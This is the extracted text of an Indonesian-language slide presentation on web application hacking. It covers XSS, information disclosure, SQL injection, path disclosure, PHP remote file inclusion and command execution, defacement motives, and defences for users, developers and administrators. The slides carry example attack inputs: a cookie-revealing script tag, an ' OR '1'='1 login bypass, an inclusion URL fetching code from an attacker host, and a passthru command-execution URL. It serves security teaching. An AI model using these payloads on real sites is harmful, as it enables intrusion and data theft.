Ahmad Muammar W. K.http://google.com/search?q=y3dips

http://google.com/search?q=y3dips

DetailsWeb HackingThreatSimulationImpactDiscussion

http://google.com/search?q=y3dips

Web HackingHacking melalui HTTP [ hacking over http ]Hacking terhadap Web Application

Melalui port 80 ; port HTTPMemanfaatkan kelemahan dari web application

Web browser attackBypassing Firewall ? Menggunakan HTTP rules (method)

Get , Put , Post, Options , find , Delete, Trace

Hyper Text Transfer Protocol (HTTPHTTP) terletak pada bagian atas dari gambar “Security level” yaitu APLIKASI

http request(clear text/ ssl)

FirewallUserWeb Server

Database Server

Web application

•Apache•IIS•Tomcat•Netscape

Http reply (HTML, Javascript, VBscript)

Plugins•Perl•PHP•JSP•E.t.c

•MsSQL•Postgre•Mysql•Oracle

Ahmad Muammar W. K.http://google.com/search?q=y3dips

Web Hacking

Client side attack (xss, cookies stealing)

Information Disclosure

OS commanding (SQL, SSI, Ldap, Xpath )

Brute Force

Path travesal

Denial Of Service

Remote command execution (php)

Sumber: http://www.webappsec.org

Etc

http://google.com/search?q=y3dips

Client Side AttackCross Site ScriptingSuatu Jenis Serangan dengan cara memasukkan code/script HTML (javascript) kedalam suatu web site dan dijalankan melalui browser di clientContoh <script>alert(document.cookie)</script>

Mendapatkan Cookies yang berisi info berharga milik client yang digunakan oleh server untuk proses authentikasi

http://google.com/search?q=y3dips

Information Disclosure

Predictable resource locationJenis serangan dengan menebak letak resource yang disembunyikan dan umumdi gunakan oleh web aplikasi

•Contoh :– /admin/– /backup/– /logs/– /PhpMyadmin/– admin.php– login.php

http://google.com/search?q=y3dips

SQL injectionSuatu Cara untuk Mengexploitasi Web Application yang menggunakan suatudatabase , dan memasukan command sql ,sehingga membentuk suatu query yang akan dieksekusi dan dijalankan oleh sql server.

Contoh: http://victim.com/login.asp yang menerima input user dan passattacking input user = test ‘OR ‘1’=‘1 && input pass =test

Syntax SQL : select * from users where pass=‘test’ and user = ‘test’or’1’=‘1’

Passing the login box !!!

http://google.com/search?q=y3dips

Path TraversalSuatu jenis vulnerabilities yang mengakibatkan user dapat melihat secara lengkappath suatu direktori atau file dari suatu situs/website

Contoh : http://target.com/appx/Sources/Admin.phpFatal error: Call to undefined function:is_admin() in /var/www/html/user/target/appx/Sources/Admin.php on line 32Diketahui bahwa halaman web target.com terletak di /var/www/html/user/target

Kegunaan bagi attackerMempersingkat waktu untuk mencari letak web direktori targetInformasi tambahan jika telah memiliki akses ke server.= ‘pwd’ pada situs target

Ahmad Muammar W. K.http://google.com/search?q=y3dips

http://google.com/search?q=y3dips

Remote file inclusionRemote Command execution

PHP under attack*

*2 jenis serangan terhadap web aplikasi yang berbasis php

http://google.com/search?q=y3dips

PHP under attackRemote File inclusionSuatu jenis serangan yang dilakukan dengan meng-include-kan halaman web lain kepada suatu situs/web aplikasi.

ContohSitus yang vulnerable http://victim.com/index.php?file=readme.txt

URL code :http://victim.com/index.php?file=http://echo.or.id

http://echo.or.id

victim

http://google.com/search?q=y3dips

PHP under attackShot !Modifikasi “inclusion page”

Change url “http://echo.or.id’ > http://attacker.xxx/in.txt

<?php

phpinfo();

?>

Real site

http://google.com/search?q=y3dips

PHP under attackRemote Command Execution Suatu jenis serangan yang dilakukan dengan meng-include-kan tag-tag bahasa pemrograman secara remote dan mengakibatkan web yang “vulnerable” akan mengeksekusi “request” yang di kirimkan.

ContohSitus yang vulnerable http://victim.com/viewtopic.php?t=48

URL code: http://victim.com/viewtopic.php?t=48&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=id;pwd

Ahmad Muammar W. K.http://google.com/search?q=y3dips

http://google.com/search?q=y3dips

Most ImpactDefacingData StolenEtc

http://google.com/search?q=y3dips

http://google.com/search?q=y3dips

DefacingKegiatan merubah/merusak tampilan suatu website baik halamanutama (index) ataupun halaman lain yang masih terkait dalam satuurl dengan website tersebut (folder lain ; file lain)

http://google.com/search?q=y3dips

MotivesDendam atau perasaan gak puas*Kenikmatan tersendiri, 'defacer' merasa tertantangIntrik politik, SosialPenyampaian pesanKeuntungan MaterillPrestice dalam kelompok

http://google.com/search?q=y3dips

http://google.com/search?q=y3dips

As a UserGunakan Firewall, Antivirus, Anti Trojan, Good Backup Facility dsbPenggunaan Password / pass phrase yang baikBerhati hati terhadap semua tawaran ‘menggiurkan’ (attachment/program)Penggunaan fasilitas secara hati hati (warnet; public internet café)Penggunaan Secure login/Secure connection (https ; ssh)Update Informasi

http://google.com/search?q=y3dips

As a DeveloperSecure programmingGunakan Input Validation yang baikGunakan Enkripsi untuk authentikasi dan proses lain yang di anggap perluMatikan error_log ( kecuali saat development )Sesuai Kebutuhan dan kemampuan !Update informasi secara general dan informasi specifik engine yang digunakan

http://google.com/search?q=y3dips

As an AdministratorPolicy (strict restriction)Setting Optimal (Sesuai kebutuhan) pada environtment ; configurasi serverBatasi Fungsi yang bisa berinteraksi dengan system environtment

Php (passthru , system, exec) ; msSQL (xp_cmdshell, xp_regdeletekey, xp_msver)

Update Patch terbaru untuk application Selalu Update Informasi

Ahmad Muammar W. K.http://google.com/search?q=y3dips